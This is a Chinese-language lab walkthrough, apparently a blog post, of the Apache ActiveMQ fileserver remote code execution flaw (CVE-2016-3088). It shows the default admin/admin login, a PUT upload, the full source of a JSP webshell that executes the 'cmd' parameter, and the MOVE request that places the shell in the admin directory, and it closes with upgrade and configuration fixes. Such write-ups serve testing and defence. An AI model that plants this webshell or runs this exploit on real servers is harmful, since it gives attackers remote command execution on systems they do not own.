部署ActiveMQ运行环境

在linux上部署apache-activemq-5.10.0-bin.tar.gz

通过tar -zxvf  apache-activemq-5.10.0-bin.tar.gz解压mq

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

由于是弱密码,所以可以直接密码登录admin/admin

注意:

如果是密码错误或者不输入密码,则显示如下

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

输入正确的密码后,通过BurpSuite抓包如下

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

抓包如下:

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

改成PUT方法:

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

此时,htxk.jsp内容为空

重新生成htxk.jsp,文件内容为jsp一句话木马

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd = request.getParameter("cmd");
String line =null;
Process p=Runtime.getRuntime().exec(strcmd);
InputStream is = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while((line =br.readLine())!=null){
out.print(line+"<br>");
}
%>

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

查看是否可以执行

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

可惜没有权限执行

爆出mq的绝对路径

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

然后利用 MOVE 方法将 Webshell 移入 admin/ 目录(也可以利用相对路径)

MOVE /fileserver/htxk.jsp HTTP/1.1
Destination: file:///home/local/apache-activemq-5.10.0/webapps/admin/htxk.jsp
Host: 192.168.10.106:8161

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

访问http://192.168.10.106:8161/admin/htxk.jsp?cmd=ls ,命令成功执行,效果如下

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

解决方法:

5. 漏洞防护方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

修复成功

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

存在漏洞的配置:

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析-LMLPHP

https://paper.seebug.org/346/

https://www.seebug.org/vuldb/ssvid-96268

04-16 18:00